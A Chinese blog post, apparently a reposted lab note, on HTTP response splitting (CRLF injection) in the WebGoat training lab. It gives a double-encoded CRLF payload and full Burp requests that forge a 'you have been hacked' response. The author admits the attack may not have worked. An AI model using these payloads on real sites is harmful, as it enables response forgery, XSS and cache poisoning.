HTTP 拆分响应漏洞 (http splitting)


原理: HTTP 拆分响应攻击 也叫 CRLF 攻击    

利用数据包中的%0d 换行符 %0a 回车 在一个数据包中再构造一个数据包 

服务器解析 会返回2个响应包 第一个是正常响应包 第二个为 攻击者构造好的响应包 

危害:1.构造XSS   可以获取很多别人服务器上的信息 刺激

2.污染缓存   缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本 

3.构造CSRF 可以让受害者 跳转到我们指定的网页 比如转钱什么的  前提是他当前浏览器 已经登陆了账户 我们劫持了后 他用代理服务器访问时 会访问我们劫持的转钱页面 从而使得 嗯 对

 

也就是 可利用这个漏洞 结合其他很多漏洞进行组合攻击

 这里玩的靶场是 webgoat  很老的一个洞了

官方原理:攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或\r)和LF(换行,也可表示为%0a或\n)

每个数据包键值后用 了 %0d %0a  实现一次换行 回车   

这个要自己试了 理解才更清晰点  owaspbwa webgoat  靶场

POST请求好像就应该在数据里面进行%0d%0a 转义换行回车 

而GET请求 可在 url中进行转义 这样 响应就被拆分成了2个数据包 

注意转义要用2次url 编码 为什么 ?  第一次url编码 是提交时要用的  第二次是服务器解析用的

正常情况提交数据 浏览器会对数据进行一次url编码 数据到服务端 服务端会对收到的数据进行解码

狠麻烦 容易搞错

http数据包格式狠容易错的

第一次url编码 无论是使用在线编码还是用burp encode 进行编码 都容易出问题 

还是自己构造好  就是麻烦

china
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47

you have been hacked

这里每个换行 都有 url编码 %0d%0a

写脚本也行 手工也行  这个网站靠谱点:http://www.jsons.cn/urlencode/

url编码后 放在记事本 选择替换 把 %0A 换成%0D%0A 

然后再进行一次url编码
burp 抓包

POST /WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.202.134
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1

language=china%250D%250AContent-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250AContent-Type%253A%2520text%252Fhtml%250D%250ALast-Modified%253A%2520Mon%252C%252027%2520Oct%25202099%252014%253A50%253A18%2520GMT%250D%250AContent-Length%253A%252047%250D%250A%250D%250Ayou%2520have%2520been%2520hacked&SUBMIT=Search%21

 

获取到我们的相应包 继续转发

GET /WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=china%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202099%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0Ayou%20have%20been%20hacked HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1

 理论上应该成功了的

参考 https://www.cnblogs.com/arlenhou/articles/webgoatsplittinghttp.html

看了看 别人的博客 真就抄了又抄呗  其实就只看了作者 的 其他的抄的根本没有理解

再来 爷还不信了 

要不就是webgoat 有bug 要不就是我代码错了 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM